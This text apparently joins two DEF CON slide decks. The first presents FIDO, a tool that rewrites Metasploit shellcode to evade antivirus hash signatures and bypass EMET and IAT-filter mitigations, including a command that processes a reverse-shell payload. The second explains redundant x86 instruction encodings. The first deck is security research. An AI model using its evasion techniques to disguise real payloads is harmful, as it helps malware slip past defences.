IAT parsing stub REWRITE ALL THE THINGS MSF Winx86 Payloads Follow a pattern https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_recv.asm Workflow • Take Input via stdin or from file • Disassemble • Capture blocks of instructions • Capture API calls • Capture control flow between two locations • Protect LLA/GPA registers from being clobbered LOE LOE • Five days straight at about 12-15 hour days LOE • Five days straight at about 12-15 hour days • When I solved one problem, 2-3 more appeared LOE • Five days straight at about 12-15 hour days • When I solved one problem, 2-3 more appeared • There is a point where a manual rewrite would have been easier - I crossed it LOE • Five days straight at about 12-15 hour days • When I solved one problem, 2-3 more appeared • There is a point where a manual rewrite would have been easier - I crossed it • !BURN IT DOWN! Next idea Next idea [—SFHA—] Next idea [the actual payload logic] [—SFHA—] Next idea [the actual payload logic] Next idea [the actual payload logic] [IAT Stub] Next idea [IAT Stub] [offset table] [the actual payload logic] Some requirements • Support Read/Execute Memory • Try to keep it small • Support any Metasploit Shellcode that uses SFHA Workflow • Take Input via stdin or from file • Disassemble • Capture blocks of instructions • Capture API calls • Build a lookup/offset table • Find an appropriate IAT for the EXE • OUTPUT Offset Table Approach Offset Table Approach [876f8b31][XX][XX][a2a1de0][XX][XX][9dbd95a6] [XX][XX] Offset Table Approach [876f8b31][XX][XX][a2a1de0][XX][XX][9dbd95a6] [XX] [XX] DLL API Offset Table Approach b'RtlExitUserThread\x00ExitThread\x00kernel32\x00WinExec\x00GetVersion\x00ntdll\x00' [876f8b31][XX][XX][a2a1de0][XX][XX][9dbd95a6] [XX] [XX] DLL API Offset Table Approach b'RtlExitUserThread\x00ExitThread\x00kernel32\x00WinExec\x00GetVersion\x00ntdll\x00' [876f8b31][XX][XX][a2a1de0][XX][XX][9dbd95a6] [XX] [XX] DLL API Offset Table Approach b'RtlExitUserThread\x00ExitThread\x00kernel32\x00WinExec\x00GetVersion\x00ntdll\x00' [876f8b31][XX][XX][a2a1de0][XX][XX][9dbd95a6] [XX] [XX] DLL API Offset Table Approach b'RtlExitUserThread\x00ExitThread\x00kernel32\x00WinExec\x00GetVersion\x00ntdll\x00' [876f8b31][XX][XX][a2a1de0][XX][XX][9dbd95a6] [XX] [XX] DLL API Offset Table Approach b'RtlExitUserThread\x00ExitThread\x00kernel32\x00WinExec\x00GetVersion\x00ntdll\x00' [876f8b31][XX][XX][a2a1de0][XX][XX][9dbd95a6] [XX] [XX] DLL API Offset Table Approach b'RtlExitUserThread\x00ExitThread\x00kernel32\x00WinExec\x00GetVersion\x00ntdll\x00' [876f8b31][XX][XX][a2a1de0][XX][XX][9dbd95a6] [XX] [XX] DLL API Offset Table Approach b'RtlExitUserThread\x00ExitThread\x00kernel32\x00WinExec\x00GetVersion\x00ntdll\x00' [876f8b31][XX][XX][a2a1de0][XX][XX][9dbd95a6] [XX] [XX] DLL API The new workflow [IAT Stub ][Lookuptable][the actual payload logic] The new workflow [IAT Stub ][Lookuptable][the actual payload logic] 1 The new workflow [IAT Stub ][Lookuptable][the actual payload logic] 1 2 The new workflow [IAT Stub ][Lookuptable][the actual payload logic] [some winAPI] 1 2 The new workflow [IAT Stub ][Lookuptable][the actual payload logic] [some winAPI] 1 2 3 The new workflow [IAT Stub ][Lookuptable][the actual payload logic] [some winAPI] 1 2 3 4 The new workflow [IAT Stub ][Lookuptable][the actual payload logic] [some winAPI] 1 2 3 5 4 The new workflow [IAT Stub ][Lookuptable][the actual payload logic] [some winAPI] 1 2 3 5 6, Continue to 2 until done 4 LOE • The initial POC took < 12 hours • Adding the workflow and stubs:12 hours • Finalizing the tool: ಠ_ಠ • But I’m happy " About those API Hashes About those API Hashes • They are now meaningless About those API Hashes • They are now meaningless • AVs depend on them for signatures About those API Hashes • They are now meaningless • AVs depend on them for signatures • What happens if we mangle them? FIDO AV Demo DEMO: https://youtu.be/p3vFRx5dur0 FIDO Usage Example cat ../msf/reverse_shell_x64.bin | ./fido.py -b whois64.exe -m -p ExternGPA -t win10 > test.bin [*] Length of submitted payload: 0x1cc [*] Stripping Stripping Fewers 64bit hash stub [*] Length of code after stripping: 258 [*] Disassembling payload [*] Mangling kernel32.dll!LoadLibraryA call hash: 0xe6b6358 [*] Mangling ws2_32.dll!WSAStartup call hash: 0x1894475 [*] Mangling ws2_32.dll!WSASocketA call hash: 0x42005c9f [*] Mangling ws2_32.dll!connect call hash: 0xaaed57f [*] Mangling kernel32.dll!CreateProcessA call hash: 0x811d8a65 [*] Mangling kernel32.dll!WaitForSingleObject call hash: 0x87cd52d8 [*] Mangling kernel32.dll!ExitThread call hash: 0xabf4ce38 [*] Mangling kernel32.dll!GetVersion call hash: 0x98d50974 [*] Mangling ntdll.dll!RtlExitUserThread call hash: 0xbf73d1c0 […snip…] Issues with some DLLs System Binaries/DLLs with LLAGPA or GPA in IAT LLAGPA GPA XPSP3 1300 5426 VISTA 645 26855 WIN7 675 48383 WIN8 324 31158 WIN10 225 50522 API-MS-WIN-CORE*.dlls https://betanews.com/2009/12/02/mark-russinovich-on-minwin-the-new-core-of-windows/ API-MS-WIN-CORE*.dlls • MINWIN https://betanews.com/2009/12/02/mark-russinovich-on-minwin-the-new-core-of-windows/ API-MS-WIN-CORE*.dlls • MINWIN • These dlls redirect to the actual implementation of the windows API https://betanews.com/2009/12/02/mark-russinovich-on-minwin-the-new-core-of-windows/ API-MS-WIN-CORE*.dlls • MINWIN • These dlls redirect to the actual implementation of the windows API • Existed since win7 https://betanews.com/2009/12/02/mark-russinovich-on-minwin-the-new-core-of-windows/ API-MS-WIN-CORE*.dlls • MINWIN • These dlls redirect to the actual implementation of the windows API • Existed since win7 • GPA is implemented via API-MS-WIN-CORE- LIBRARYLOADER-*.DLL https://betanews.com/2009/12/02/mark-russinovich-on-minwin-the-new-core-of-windows/ API-MS-WIN-CORE*.dlls • MINWIN • These dlls redirect to the actual implementation of the windows API • Existed since win7 • GPA is implemented via API-MS-WIN-CORE- LIBRARYLOADER-*.DLL • Normally used in system dlls https://betanews.com/2009/12/02/mark-russinovich-on-minwin-the-new-core-of-windows/ API-MS-WIN-CORE*.dlls • MINWIN • These dlls redirect to the actual implementation of the windows API • Existed since win7 • GPA is implemented via API-MS-WIN-CORE- LIBRARYLOADER-*.DLL • Normally used in system dlls • Can be called by userland applications via IAT parsing https://betanews.com/2009/12/02/mark-russinovich-on-minwin-the-new-core-of-windows/ Because it is in… Because it is in… Kernel32.dll SAY AGAIN? SAY AGAIN? • We just need GPA in any DLL Import Table to access the entire windows API SAY AGAIN? • We just need GPA in any DLL Import Table to access the entire windows API • Since win7, GPA has been in Kernel32.dll Import Table SAY AGAIN? • We just need GPA in any DLL Import Table to access the entire windows API • Since win7, GPA has been in Kernel32.dll Import Table • We’ve had a stable EMET EAF(+)/Caller bypass opportunity since Win7 (works for win7 - win10) Tor Exploit w/My Stub vs EAF+/Caller DEMO: https://youtu.be/oqHT6Ienudg Updates • These payloads were introduced at REcon Brussels - Jan 2017 • For DEF CON 25 - releasing 64bit payloads Part III Mitigations & Bypasses 3 months later… 3 months later… 3 months later… My Reaction My Reaction How Does the IAT Filter Work • The pointer to the Import Name in the import table no longer points to: • GetProcAddress • LoadLibraryA • The API Thunk is still there • No Import name == driving blind Missed an Import Missed an Import GetProcAddressForCaller (GPAFC) • Introduced in win8 • Exported by kernelbase.dll • Imported by Kernel32.dll • Works very similar to GPA • Not filtered by the IAT Filter GPA(‘DLLHandle’, ‘API String’) == GPAFC(‘DLLHandle’, ‘API String’, 0) Usage in FIDO: ExternGPAFC GPAFC DEMO Now what? Think About It Go Directly to GetProcAddress Process Memory Go Directly to GetProcAddress PEB.imagebase GetProcAddress Process Memory Go Directly to GetProcAddress x PEB.imagebase GetProcAddress Offset - Version(s) Dependent Process Memory Example Dev Workflow • Find GetProcAddress (GPA) in process space (application specific) • No system DLLs • If multiple versions have the same exploit • Find a lynchpin GetProcAddress location that is the same across all versions • Else, diff the GPA target binary • Use the diff locations in the payload to ID the version to the corresponding GPA offset Usage in FIDO: OffsetGPA and ExternOffsetGPA Call to Action Questions? • Get the code: https://github.com/secretsquirrel/ fido • Thanks: @SubTee, @FreedomCoder, @Wired33, @__blue__, @_metalslug_, @_droc, @markwo, @mattifestation • Twitter: @midnite_runr • Email: [email protected]
pdf
Assembly Language Is Too High Level ...or the drinking game replaces 'cyber' with 'assembly is too high level' DEF CON 25 XlogicX Shoutz ● KRT_c0c4!n3 (art) ● Fat Cat Fab Lab (where I hack) ● NYC2600 (who I friend) ● DC201 (Because DEF CON) - My girlfriend KRT_c0c4!n3 (art director) did a good portion of the art of these slides - I worked on most of my code and all of these slides from Fat Cat Fab Lab. It's my favorite hackerspace in the NYC area (West Village) - NYC2600 is my local 2600 community and where I've made most of the friends I have in NYC -DC201, because it's the closest active DEF CON group in my area Even as a kid I wanted to do low level programming. I had no access or knowledge of compilers or even major programming languages. I deep down felt like I should be able to type the right binary data into a notepad (or something like it) and run it, but all I had was just some Windows 3.11 and ignorance I eventually did end up typing hex into debug (comes with Windows 3.11+) and executed my program live at CactusCon 2016 Deck at http://xlogicx.net/?p=515 I eventually try to teach myself Z80 assembly. This is because I already had a TI-82 and already tried some sweet games programmed in assembly. The first program I made was an example program that clears the screen. My first attempt to make my own program cleared the memory. This was unintended... I then formally learn Assembly for the M68HC11 microcontroller in school. I don't even remember if we had a textbook, but we did have the Motorola manual. This manual listed all of the instructions with the machine code next to the instruction. I had a lot of fun with this architecture. Inspired by Godel Escher Bach, I attempted to create a program that replicated itself into the next area of memory and executed itself. I learned the importance of needing to understand the abstraction layer of machine code in order to pull this off. Also, the assembly language and machine code for this architecture was relatively one to one. Propeller Assembly After using various micro-controllers, I start to crave more capabilities and want to find a way to do floating point math in a sane way. LoST eventually convinces me to try this new Propeller micro (well it was new back then in 2006). I ended up not using it for what I had planned, but made an audio driver instead. The performance of this project required the use of Propeller Assembly (instead of the recommended high level language: SPIN). This architecture was pure beauty, and the relationship between the machine-code and assembly language was practically one to one for all intents and purposes. I'm still waiting on Chip Gracey to finish Duke Nukem Forever (...I mean the Propeller II) X86 Assembly Then, a matter of years ago, the company I was working with before voluntold me to take GREM training (GIAC Reverse Engineering Malware). This is the context in which I eventually learned the x86 architecture for assembly language. I learned that the language was the most terrible assembly language I've ever seen up to this point; which made it all that more beautiful. And those manuals in the screenshot, I’ve read them all, cover to cover. Introducing: InfoSec Bro This is just how I picture most infosec bros; a Kenny Powers like character. ● "Assembly refers to the use of instruction mnemonics that have a direct one-to-one mapping with the processors instruction set" ● "However, everything in the end is assembly, and that is just fixed sequences of ones and zeros being sent to the processor" ● "...that is to say, there are no more layers of abstraction between your code and the processor" This book had all of the above quotes. This book is also apparently all around terrible in many other ways. But don't just take my word for it...(next slide) Best Review Ever This review was from one of the authors of this book! Kitteh Demo Running the demo kitteh program to show what it does Quickly running through the source to show the vulnerabilities Exploiting the program to get a 'shell' Showing the important line of assembly being exploited, and how the actual machine code cannot be produced by nasm_shell The screenshot in this slide is for the PDF version, it is only a hint at what will be demonstrated Tools Used in Talk ● m2elf.pl – Converts machine code to ELF executable ● Irasm – Like nasmshell.rb (but does the stuff that this talk explains ● It’s also not a shell, it’s an assembler written in Ruby I will likely be flying in and out of these tools during this talk. Not as legitimate full demos, just a few seconds here and there to illustrate the points. M2elf is a tool that I created that takes hex or binary (1's and 0's) in an input file and converts it into a fully ELF executable. For the purposes of this presentation, I will be running it in 'interactive' mode; it takes machine code input and immediately displays the instruction it represents (instruction by instruction) Irasm is like nasmshell.rb, only irasm is not a shell, it's an assembler. Instead of just displaying official machine code, it outputs a bunch of redundant machine code as well (as discussed in this talk) Assembly Machine Code ↔ ● ADD AL, imm8 ● Adding an 8-bit value to the 8-bit AL register ● 0x04 is opcode for 'ADD AL' followed by byte to add Let's talk about what people are thinking about when they erroneously say that assembly language and machine code have a one to one relationship. We can say that if we add the byte of 0x42 to the AL register (ADD AL,0x42). The machine code will be 0x0442 (0x04 for ADD and 0x42 is the byte). This means that if we wanted to add 0x33 to the AL register, the machine code would be 0x0433 You see the correlation right? Assembly Machine Code ↔ ● INC, 32-bit Register ● Increments a 32 bit register ● These registers come in the following order: ● EAX, ECX, EDX, EBX, ESP, EBP, ESI, EDI This one is a little more complicated but not that bad. All of this increment (INC) instructions start with a 0x4 nibble, and the next nibble corresponds to the register you want to increment. Since EAX is first, INC EAX is just 0x40. This is unless we are using a 64 bit processor, then the 0x40 is a prefix byte, different story all together though. Assembly Machine Code ↔ ● MOV r8, imm8 ● Move a byte into an 8-bit register ● These registers come in the following order: ● AL, CL, DL, BL, AH, CH, DH, BH Similar to the last two instructions. This is a group of MOV instructions where 0xB is the first nibble representing MOV, and the next nibble represents the register. Finally, the byte that follows is the byte to be moved to said register. But wait, there's a 0xC6 format that allows us to add a byte to a more complex data structure that includes memory pointers AND also registers (and because this structure supports registers, we find a redundancy here) Knowing all of this, if you did: mov al, 0x44 Your assembler (and nasmshell) would output: 0xB042 It wouldn't output 0xC6C042 But the irasm tool will AAD (ASCII Adjust AX Before Division) ●The assembly for this is too high level ●The machine code is also too high level ●Even the mathematical concept is too high level! ●Or, how to do base1 and base0 math ●Supposed to do Base10 conversion I love the AAD instruction. It says it does a thing. But the thing it actually does to do the thing it says it does is far more interesting. The next several slides go into depth of these things. AAD – What it Does This instruction takes the value of AX (two bytes). It breaks them out and considers them to be two decimal numbers (base10). Regardless of the misleading '+' symbol in the slide, it combines the two digits as if the zeros weren't there. The result is considered a base10 value. It's hexadecimal representation is stored back into AX. This really means that it is stored into AL and AH gets wiped. Because even the largest decimal value of 99 would still fit into AL as hexadecimal. This style of slides are animated; they will look a little weird in the PDF version. AAD – Assumptions ● The entire value is 16 bits ● The two halves make up 8 bits (07 and 09) ● Being that the values are converting from base 1 ● The two halves need to be from 00-09 ● Even though 0A-FF are valid 8 bit values To think like a hacker for a second, think of the context of what goes wrong when you don't do input validation and the things that could go wrong. In AX, you're supposed to have a decimal (0-9) value in AH and AL. However, each of these registers could actually be in the range of 0x00-0xFF AAD – Debugged ● 0709 moved into the 16 bit register (ax) ● AAD performed ● The ‘A’ (al/ah/ax/eax) register now contains 004f ● The AAD mnemonic is interpreted by all assemblers to mean adjust ASCII (base 10) values. To adjust values in another number base, the instruction must be hand coded in machine code (D5 imm8) The interesting thing here is that the real machine code for the opcode of AAD is just 0xD5, the next byte is actually not part of the opcode; it's an operand. It just defaults to 0x0A (or 10 in decimal). In assembly, you can only type 'aad'; you can't give it the base you want to use because base10 is assumed. However, if you write this instruction in directly in machine code though, you can actually choose a different base and the high level mathematical concept works out. Assembly, it's too high level AAD – Base 6 This is us working through an example of choosing our own arbitrary base of 6. Our character set for base6 is from 0-5. Cramming 3 and 5 together gives us 35. This instruction needs to convert 35 (base6) to a hexadecimal (base16) value. 35 in base10 is actually 23 = ((3 * 6) + (5 * 1)) 23 in hexadecimal is 0x17 It's amazing, it all works out! AAD – Base 2 Let's do base2 We cram 1 and 1 together and get 11 11 in binary is 3 in decimal which is 0x03 in hexadecimal So this works too. Let’s Hack: Invalid Input ● Remember base 10, we were limited to 00-09? ● What happens when we use the values in the 0A-FF range? ● Do you know what base 1 or even base 0 means? ● Neither do I, so what happens? This is an introduction slide for us to try some real ignorant things and to attempt to make some meaning out of it AAD – Base 10, Input Beyond Range This is us going far above base10 values in AX (AH/AL), but then specifying base10 for the aad instruction. It's hard to visualize cramming 5 and 6F together, but the slide does it's best to make something of it. By the process of magic (whatever AAD is actually doing), we get the result of 0xA1. 0xA1 is then stored back into AX AAD – Base 1, I guess that’s a thing… What about base 1? Well, our only valid character is zero, so: Cram 0 with 0 to get 0 to convert to 0 and store 0 back into our register that already had 0. Pointless, but at least it makes sense and we know whats going on here I guess. AAD – Base 0, That can’t be a thing Then there's base0. There is really no valid character for this, so I just made AX 0xBEEF. We cram it together, and by the magical process of AAD we get a result of 0xEF and store it back into AX. It really is fine though, because microcode Machine Code: Too High Level ● What’s actually happening under the Hood? ● Microcode ● Intel’s PseudoCode for AAD: This screenshot from the Intel manual shows what is actually happening under the hood. It's not literally a base conversion, just some mathematical operations (an 'algorithm') that happen to perform the conversion when you don't feed it garbage. This is fucking profound. Mathematics is not reality, it's just a model for it sometimes. Don't take math too seriously, math is stupid. A More Simple Formula ● AL = AL + (AH * base) ● Where: ● AL is the last 2 bytes of input ● AH is the first 2 bytes of input ● Base defaults to 10 (but we can machine hack that) This is a better representation of what the Intel pseudo-code is doing. It's actually pretty elegant looking. It's also pretty cool that something so simple can 'convert' 'bases' so easily A New Understanding ● AL = AL + (AH * base) ● 0709 (base10): 09 + (07 * 10) = 4F (79 decimal) ● 0305 (base6): 05 + (03 * 6) = 17 (23 decimal) ● 0101 (base2): 01 + (01 * 2) = 3 (3 decimal) ● 056F (base10): 6F + (05 * 10) = A1 (161 decimal) ● 0000 (base1): 00 + (00 * 1) = 0 (0 decimal) ● BEEF (base0): EF + (BE * 0) = EF (239 decimal) For fun, we use this simple formula to crunch through all of the examples in the previous slides to see that the formula does crunch out the answers that we expect them to. How is this Useful ● We have a new certain way to clear AH ● Old way number 1: mov ah, 0 ● Efficient Compiler way: xor ah, ah ● Our new stupid way: db 0xd5, 0x00 ● Or AAD base 0 All kidding aside about clearing the AH register, it's cool to know that we can do conversions in obscure bases with one instruction. It's even cooler that the way to implement it is even more obscure: you have to do it in machine code ...because assembly is too high level MODR/M + SIB • Allows you to do various encodings with registers and memory • Memory encodings is where it gets interesting (complicated) • Already complicated enough, even without the redunds This can be some rough terrain right here. Not having to manually do this encoding should make people appreciate assembly language as a super high level language that makes things easier for the programmer. We will be treading this terrain in the next 30ish something slides! This encoding is used to allow the programmer to use registers and memory pointers as operands Memory Pointer Format ● Things you can use in a pointer: ● Register (base register) ● Register multiplied by 1, 2, 4, and 8 (scaled) ● A 8bit or 32 bit offset (displacement) ● All of these are optional ● Examples: ● [eax + ebx * 2] ● [ebx + 0x33] ● [ecx * 8 + 0x11223344] ● [0x33] In a memory pointer, you can have a base register, a scaled register, and a displacement. They are all optional, but you at least need to use one of them (otherwise it would be nothing at all) Of the registers, you have the 8 general purpose ones to choose from (with some major exceptions) If eax is 0x11223344, XOR [eax], eax will XOR the value of eax with the value in the address of 0x11223344 and store it at that address You can also add to the address of that pointer with a displacement. [eax + 0x42] would be [0x11223386] (considering what eax originally had above) MODR/M Table This is the machine encoding table that makes it all happen (well half of it, the other half is the SIB byte when required). The MODR/M Table allows for encoding operands as a register, a pointer with one base register, a pointer with a base register and a 8 or 32 bit displacement, or just a 32 bit displacement. If you want to have a scaled register or mix and match the above with a scaled register, then you need the SIB byte (selectable from this table) As always, there are many exceptions XOR EAX, EDX (0x31D0) In this slide we work through an example, because we like to explore more than just theory. In most of our examples, we will use the 0x31 machine opcode for XOR (there are exceptions when we cover redundancies). It's the XOR r/m32, r32 encoding (so 1rst operand can be register or pointer and second operand has to be a register, both 32 bit) In the table, we line up EAX with EDX to get our 0xD0 value for the operand information for our machine code. XOR [ECX], EAX (0x3101) Next we do a pointer for the first operand. Note we are still starting with the 0x31 encoding for XOR We are using the pointer of [ECX] for the first operand and EAX for the second operand. All we have to do is line them up to arrive at the 0x01 byte for the machine code byte to encode this. It's just as straight forward as the last example XOR [ESI + 0x42], EAX (0x314642) This one adds one little extra bit of complexity. We first start with our 0x31 for XOR. Next we have a pointer of [ESI + 0x42] and then EAX. EAX is easy to line up at the top. For the first operand, we need to find a line that supports ESI plus a 1 byte displacement. It is shown in the screenshot as 0x46 But we aren't done, the processor then expects the next byte of the instruction to actually be that offset, so the 0x42 displacement comes as the next byte XOR [EBX + 0xFFF31337], ESP (0x31A33713F3FF) If the previous example made sense, this one should be just as easy. We need to find a pointer that supports EBX plus a 32 bit displacement and the register of ESP. When lining this up on the table, we find that it is 0xA4. The only thing that may appear confusing to those that don't know is that Intel encodes addresses in Little-Endian form. This is just another way to say that bytes are in backward order. So 0xFFF31337 becomes 0x3713F3FF after our machine code of 0x31A3. This makes the entire instruction: 0x31A33713F3FF XOR [0x42], EAX (0x310542000000) This is looking at not using any registers for our pointer. This examples just demonstrates a literal displacement of 0x42. We need to find the horizontal line that encodes for only a displacement and the vertical line for EAX. There are no horizontal lines for just an 8 bit displacement, so we are forced to use the 32 bit one and just pad the first 3 bytes with nulls. So we have our 0x31 for XOR, 0x05 for the operand encoding from the chart, and 0x42000000 for the displacement data (ordered like that because Little- Endian) xor [ebx + ecx * 4 + 0x42], eax (0x31448B42) Now we start to get a little crazier; we are going to use a scaled register. Lining up the second operand of EAX on the chart is easy. To use a scaled register, we need the SIB byte, which is one of the horizontal options using [--][--]. There are 3 different variations of this SIB option, one without a displacement, one with an 8 bit displacement, and another with a 32 bit displacement. In this case, it's just the 8 bit displacement. So we choose 0x44 in this table, and then look next to our SIB table to pick the actual Base and Scaled register xor [ebx + ecx * 4 + 0x42], eax (0x31448B42) The Base register will be the vertical line and the Scaled (multiplied register) will be the horizontal line. Finding EBX (vertical base register) is the easiest. For the horizontal line, we must find the item that uses ECX and is also * 4. This is actually not terribly hard to find on the table either. When you line this up, you get 0x8B for the SIB byte. Finally, we have the displacement of 0x42 to add to the end of the instruction to get our final result XOR [ESP], EAX (0x310424) Now lets dig into some weird exceptions; lets start with using ESP as the base register in a pointer. When looking at the table, ESP isn't an option? However, we know from the SIB byte that you can choose a Base register, although you have to choose a Scaled register as well. But did you notice from the table on the last slide that 'none' was an option for the Scaled register. That's the hack that assemblers use. For the MODR/M byte, we line up EAX for the vertical and the [--][--] (SIB) for no displacement. This gives us 0x04 for our MODR/M byte. Next let's look at what we do with the SIB byte. XOR [ESP], EAX (0x310424) Since ESP is our Base register, we line that up vertically. We choose the first 'none' horizontal line for the Scaled register to give us 0x24. So what's the difference between that 'none' and the 3 others. There isn't any in this particular case, hence the next slide XOR [ESP], EAX (0x310424), With All the 'NONEs' In this slide we see the PoC of using all 4 of the 'none' options in the SIB byte. This is to note that the assembly is the same for any of these Using SIB When You Don't Need To In the last example, we needed to use the 'none' field in the SIB byte because ESP wasn't an option for the base register. However, we can still use this ignorance when the base register is already an option in the MODR/M table. In this slide, we are showing that we are using this encoding with EAX. Keep in mind that we can still use any of the 4 'none' bytes Gratuitous SIB In this screenshot we first see how an assembler 'should' encode XOR [EAX], EAX. The last 4 instructions are the various ways we can encode it with the pointless 'none's in the SIB byte XOR [ESP * 2], EAX (0xNOPE) What's the exception to use ESP as a Scaled register? as we didn't notice it as an option in the SIB byte encodings. It's because you can't. You try to write this above instruction and your assembler will give you an error and make you feel bad. XOR [EBP + EAX * 2], EAX (0x31444500) This instruction has a base register of EBP and a scaled register of EAX * 2. Vertically aligning the 2nd operand of EAX is easy. Since we are using a scaled register, we need to find the appropriate [--][--] line horizontally. One would think that we would pick 0x04, but that is not the case, we need to pick 0x44 due to some EBP base register complications in the SIB byte that we are about to explore on the next slide XOR [EBP + EAX * 2], EAX (0x31444500) Lining up the horizontal line for the scaled register of EAX * 2 is straight forward. However, we don't find an obvious EBP base register on the vertical line. It's the [*] line that actually gives us what we need. The [*] line is dependent on the displacement option we pick from the MODR/M byte. There are only 3 variations; no displacement, 8-bit displacement, and 32-bit displacement. The results are as follows: No displacement = [ScaledReg * n + 0x11223344] Disp8 = [EBP + ScaledReg * n +0x11] Disp32 = [EBP + ScaledReg * n +0x11223344] Either of the last 2 options would technically work, but we chose the 8-bit displacement option because it would get encoded in with 3 less bytes. So finally, we arrive at the 0x45 byte in our table. However, we aren't done until we actually put the 0x00 byte at the end, because this is our 'invisible' displacement This means that our assembly would more literally be interpreted as such: XOR [EBP + EAX * 2 + 0x00], EAX Implied Scale (* 1) • Consider [eax + ecx] ● You can't have two base registers; one has to be scaled • Assemblers viewed a 2nd 'base' register as scaled by '1'. So: ● [eax + ecx * 1] There are things we take for granted when only writing in a high level language like assembly. If you type a pointer like [eax + ecx], the thing to consider is that there can only be one base register. An assembler (like nasm) is going to look to your 2nd register to encode as the scaled register; the assembler will treat [eax + ecx] more literally as [eax + ecx * 1]. Or it will make ecx the scaled register and scale it by 1. Convert Scaled to Base • Consider [ecx * 1] ● Encoding for SIB requires more bytes • If there is no base register already: ● Assemblers will convert a scaled by '1' register as a base. So: ● [ecx] It's one thing to have something like [ecx * 4]. It is unambiguous: there is no base register and we need a scaled register of ecx * 4. [ecx * 1] on the other hand, assemblers don't do what you asked for here. If you don't pick a base register, and your scaled register is scaled by one, your assembler is just going to make it the base register. My instinct is to get annoyed with this, as my assembly is being interpreted into machine code that I didn't intend for, as I would have and could have written [ecx] if that's what I wanted. The reason an assembler is going to choose this because it takes less bytes to encode (because it doesn't need the SIB byte). ESP * 1 • You CAN'T scale ESP • You write [eax + esp *4], you get an error • You write [eax + esp * 1] or [eax + esp] ● You Dont? • This is because the assembler converts it for you behind your back to: ● [esp + eax * 1] So we know that we can't use ESP as the scaled register. This is why if we write something like [eax + esp * 4] we will get an error. But why do we not get an error if we write [eax + esp * 1]? Well, if you were to assemble this and then disassemble it, you would discover that your assembler actually writes this as [esp + eax * 1]. In other words, if esp is scaled by only one, and the base register itself is not also esp, it will make the base register the scaled one so esp can join back in as the base. It logically does the same thing. Ignores You, Chooses Less Bytes Sometimes • This is about the commutative property, it works with 6 of the 8 general purpose registers, like this: • It does work with EBP, but differently: • And doesn't work with ESP, because ESP doesn't scale Speaking of swapping around the registers, this is the commutative property in mathematics (because addition). We can do this no problem with eax, ecx, edx, ebx, esi, and edi. esp is a register that can't be swapped, because of its scaling issues as previously discussed. We also discussed the trade-off that needs to be made when using ebp in the SIB byte, so we do this at the cost of having to add the extra disp8 null. However, the most interesting part of this is that if you use [ebp+eax] in your assembly, it will take you literally If it did [eax + ebp] (logically the same), it would actually take 1 less byte to encode, but it doesn't opt for less machine code in this case. Just goes to show that sometimes an assembler optimizes for this kind of stuff, but not always Put a Null in it • If a pointer doesn't have a displacement, then put in a displacement of 0x00...same difference right • If there's an 8 bit displacement, make it a 32 bit displacement with 3 bytes of leading nulls For instructions that don't already have displacements, there's nothing from stopping us from being a troll and adding a displacement of nothing (0x00). We can add an 8-bit or a 32-bit displacement with nothing in it and the memory pointer would be logically the same. Additionally, if we have an 8-bit displacement, we can 'upgrade' it to 32-bit by padding 3 null bytes in front of it. Put a Null in it w/ the Commutative Property Too • Add a null to it and swap registers • Add 3 nulls to it and swap registers Of course you can get creative and mix and match these redundancies. This slide shows us mixing the 'null upgrade' with the commutative property Basic ModR/M Redundancy This redundancy works because x86 generally has no instructions that allow for both operands to be a memory location in the same instruction. For instance, if your instruction was 'mov', you could move a value of a register into a memory location, you could also move the value in a memory location into a register, but you could never move the value of a memory location into another memory location (with only one instruction). Because of this, you need an encoding for each scenario. However, the operand that allows for a memory pointer also allows for it to just be a register as well (allowing register to register). This means that both encodings allow for register to register. This is where the redundancy comes into play and why we can see something like the above screenshot. Basic ModR/M Redundancy In the previous slide it seemed like magic that we could just swap out the machine opcode and leave the operand data (0xC0) alone. This isn't always the case. With the different encodings, the vertical and horizontal parts of the table get swapped. But in the case of using the same register with itself, it's symmetric enough to not change the value in the table. NASMs Interpretive Dance in SIB • Or how 'eax * 2' is the same as 'eax + eax' • And way more unusual things This is another byte saving optimization. The next slide will follow the maze of the MODR/M + SIB byte to find out why NASMs Interpretive Dance in SIB So in the top 2 screenshots, we are comparing two different assembly instructions to the machine code nasm outputs on the right. Notably, both instructions are converted to the [eax + eax] form. It is logically the same as [eax * 2], what does nasm have against scaling eax? It is because of the side effects of not having a base register when using SIB. You can have 'none' for a scaled register, but having 'none' (or [*]) for the base register comes at the cost of having to use a 32-bit displacement. This was covered a few slides back (the 3 options the [*] uses). If we take [eax * 2] literally, it doubles our machine code for the instruction. Assemblers do not see this as ideal NASM is Tolerant to UR Bullshit But what's really interesting is what kind of bullshit assemblers like nasm will put up with. First of all, there is no scale of * 5; only 1, 2, 4, and 8. But nasm is smart enough to look at this instruction and decide it is logically the same as eax + eax * 4 Finally, scaling by something non-existant is one thing, but there is no such thing as subtraction in our pointer format, but it is valid assembly to nasm. Nasm is smart enough to look at [eax * 2 – eax] and know that it is pretty much the same thing as just [eax] I love nasm TEST r32, r/m32 • TEST 32-bit register with a 32-bit register OR 32-bit memory location • This form can be written in Assembly Language • But there is no machine code representation of it I like this one. This slide is saying that you can write something in assembly like: TEST EAX, [EAX] The thing is, there is no machine encoding to represent this. We previously discussed how we needed more than one encoding to mitigate being able to use a pointer for the source or destination. So what's going on here? We will explore in the next couple slides CMP r32, r/m32 This slide shows the two different encodings of the cmp instruction with 32bit operands. The last 2 screenshots compare the source assembly with the resulting machine-code in a debugger. TEST r32, r/m32 If we write the assembly shown on top, we get machine code comparable to the middle image. What we see here is that the first instruction gets interpreted and converted by swapping the operands around to its only supported encoding. That is, Test r/m32, r32. We see the encoding for this in the Intel manual (last image). Trust me, there is not corresponding encoding for the operands swapped around like other sane instructions. So can we swap these operands and logically have the same results? But Why? ● Review: ● CMP = SUB (just for flags) ● TEST = AND (just for flags) ● 5 - 3 = 8 ● 3 - 5 = -2 ● 5 AND 3 = 1 ● 3 AND 5 = 1 The answer is yes. We compare CMP and TEST to see why. Both of these instructions act like a math/logic instruction but without storing the result; it just does the instruction for the side effect. CMP is like subtraction and TEST is like a logical AND. CMP doesn't SUB though, nor does TEST do an AND. They just set the flags so conditional jumps can have more intelligent behavior If you try to do some commutative stuff, you see subtraction obviously isn't commutative, swapping the operands gives you different results. TEST (and AND) on the other hand are commutative, swapping the operands gives the same result. Therefor you only really do need one encoding to represent both orders. So assemblers look at your un-encodable instruction and converts it into something that does the same thing Redundosourus REX This is just a 64-bit prefix hack. In order to access all of the extra registers that come with 64 bit processors, but also remain backwards compatible, Intel chose to prefix instructions with a byte that would change what the registers end up being. Of course, some of the old registers are also encodable with the prefixes, and of course there are many redundancies to this; as the 